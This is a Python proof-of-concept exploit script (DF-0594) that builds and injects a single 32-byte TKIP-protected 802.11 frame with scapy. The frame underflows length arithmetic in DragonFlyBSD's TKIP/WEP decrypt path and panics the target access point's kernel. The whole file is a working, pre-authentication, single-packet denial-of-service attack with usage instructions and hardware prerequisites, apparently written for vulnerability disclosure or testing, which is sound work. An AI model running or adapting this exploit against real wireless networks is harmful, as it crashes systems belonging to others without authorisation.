#!/usr/bin/env python3
# DF-0594 PoC: TKIP RX length underflow -> OOB read + KASSERT panic.
#
# Injects a single 32-byte Protected+ExtIV data frame into a TKIP-protected
# BSS where the receiver uses the software TKIP decrypt path. The frame is
# exactly the WEP minimum (24-byte hdr + 8-byte IV/EIV), with NO payload,
# NO ICV, NO MIC. The receiver's tkip_decap -> tkip_decrypt -> wep_decrypt
# path underflows the length arithmetic (int - u_int -> 0xFFFFFFFC) and the
# KASSERT(data_len == 0) at wep_decrypt:640 fires -> panic on INVARIANTS
# kernels (the default X86_64_GENERIC).
#
# No key knowledge required. Single packet. Pre-auth.
#
# Usage:
#   sudo python3 tkip_underflow.py <injection_iface> <target_ap_bssid>
#     e.g. sudo python3 tkip_underflow.py wlan0mon 11:22:33:44:55:66
#
# Prerequisites:
#   - scapy installed
#   - a WiFi NIC capable of frame injection in monitor mode (AR9271/ath9k_htc
#     on Linux is a common choice)
#   - RF proximity to a DragonFlyBSD hostap vap using TKIP with SW crypto
#     (USB drivers like run(4)/rum(4)/zyd(4) typically do not offload TKIP)

import sys
import struct

try:
    from scapy.layers.dot11 import RadioTap, Dot11, Raw
    from scapy.sendrecv import sendp
except ImportError:
    sys.stderr.write("scapy required: pip install scapy\n")
    sys.exit(1)

if len(sys.argv) != 3:
    sys.stderr.write("usage: %s <injection_iface> <target_ap_bssid>\n" % sys.argv[0])
    sys.exit(2)

iface      = sys.argv[1]
ap_bssid   = sys.argv[2].replace('-', ':').lower()
attacker   = "aa:bb:cc:dd:ee:01"

# 802.11 data header, FromDS=0 ToDS=0, Protected bit (0x4000 in fc -> 0x08 in
# second byte when packed little-endian as 0x0808).
# fc = Type=Data(2)<<2 | Subtype=0 | Protected(0x40 in byte1 of LE fc) = 0x0808
fc = 0x0808

# 3-address data header: addr1=broadcast (group key path), addr2=attacker,
# addr3=AP bssid, seq=0x0010
hdr = struct.pack('<HH6s6s6sH',
    fc, 0,
    b'\xff\xff\xff\xff\xff\xff',          # addr1 = broadcast
    bytes(int(b, 16) for b in attacker.split(':')),
    bytes(int(b, 16) for b in ap_bssid.split(':')),
    0x0010)                                # seq ctrl

# TKIP IV/EIV: bytes are P1, P1|0x20, P0, KeyID|ExtIV, P2, P3, P4, P5
# where P0..P5 are the TSC octets (TSC0 is the lowest byte of the 48-bit
# counter). TSC must be strictly > the receiver's wk_keyrsc[NONQOS_TID=16];
# on a fresh key that is 0, so TSC=1 works.
# KeyID = 0, ExtIV bit (0x20) set, plus 0x20 for the TSC1-extension bit.
tsc0, tsc1 = 0x01, 0x01
iveiv = bytes([
    tsc1,
    (tsc1 | 0x20) & 0x7f,
    tsc0,
    0x20 | 0x20,   # KeyID=0 << 6, ExtIV bit set
    0, 0, 0, 0,    # TSC2..TSC5
])

frame = hdr + iveiv   # 24 + 8 = 32 bytes total; no payload, no ICV, no MIC

sys.stderr.write(
    "DF-0594: sending 32-byte TKIP underflow frame to %s via %s\n" % (ap_bssid, iface))
sys.stderr.write(
    "    expect panic: wep_decrypt: out of buffers with data_len 0xfffffffc\n")

sendp(RadioTap()/Raw(frame), iface=iface, count=1, verbose=1)

sys.stderr.write(
    "DF-0594: frame sent. Check target dmesg for panic.\n")
